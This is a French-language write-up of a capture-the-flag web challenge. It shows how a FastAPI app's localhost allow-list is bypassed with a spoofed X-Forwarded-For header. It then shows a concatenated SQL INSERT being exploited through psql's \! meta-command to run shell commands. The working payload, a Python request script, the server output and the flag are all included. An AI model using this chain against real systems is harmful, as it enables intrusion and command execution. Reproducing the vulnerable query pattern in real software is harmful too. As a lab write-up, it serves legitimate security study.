Alice and the Literal Escape

Flag: ECW{st4rlit_carg0_manif3st}

Challenge

1KB
Ouvrir

Description


Captain-explorer Alice sets sail on the Star Wind for a crossing into the unknown! Two security locks protect the cargo hold: the Quartermaster checks that only the ship's mousses embarked ‘from the deck’ have access to the administration bridge. The Logbook records every cargo in the hold; a strange process converts your notes into a record. Flag is located in flag.txt

Challenge made by icegeo from :

Solution

Accès au site

Première chose à remarquer dans le fichier src.py donné : on ne peut pas accèder au site si notre IP est différente de 127.0.0.1.

TRUSTED_IPS = ["127.0.0.1"]

app = FastAPI()
config = SecurityConfig(
    whitelist=TRUSTED_IPS,
    blacklist=[],
)

Pour contourner ça, on va utiliser l'entête X-Forwarded-For pour que le proxy remplace notre IP par celle qu'on lui donne. Ca fera croire au serveur web qu'on est trust

X-Forwarded-For: 127.0.0.1

Injection SQL

On continue l'exploration de src.py , à la ligne 28 : on a une injection SQL très claire...

sql = f"INSERT INTO notes VALUES('"+note+"');"

Analyse de psql

Le serveur lance les query SQL d'une manière assez particulière : il utilise psql. Il a la particularité d'avoir des méta commandes, permettant un tas de choses. Comme par exemple :


Exploitation

Bon, si on peut injecter la query, on peut y placer une meta commande qui exécute une commande shell... Ca tombe bien, on a une injection SQL !

Le payload est assez simple :

  • ') : il faut d'abord sortir de l'INSERT

  • \! cat flag.txt : puis ajouter la méta commande

  • # : finalement, on commente le reste pour éviter les bugs.

Ce qui donne : '); \! cat flag.txt #

Et en python :

import requests

HOST = "challenges.challenge-ecw.eu"
PORT = 34928
URL = f"http://{HOST}:{PORT}"

headers = {"X-Forwarded-For": "127.0.0.1"}
data = {"note": r"'); \! cat flag.txt #"}

response = requests.post(f"{URL}/cargo/upload", data=data, headers=headers)
print(response.text)
[...]

<pre class="mt-2 whitespace-pre-wrap break-all">{
  &#34;rc&#34;: 0,
  &#34;out&#34;: &#34;ECW{st4rlit_carg0_manif3st}&#34;,
  &#34;err&#34;: &#34;ERROR:  relation \&#34;notes\&#34; does not exist\nLINE 1: INSERT INTO notes VALUES(&#39;&#39;);\n                    ^\n&#34;
}</pre>

[...]

Mis à jour

Ce contenu vous a-t-il été utile ?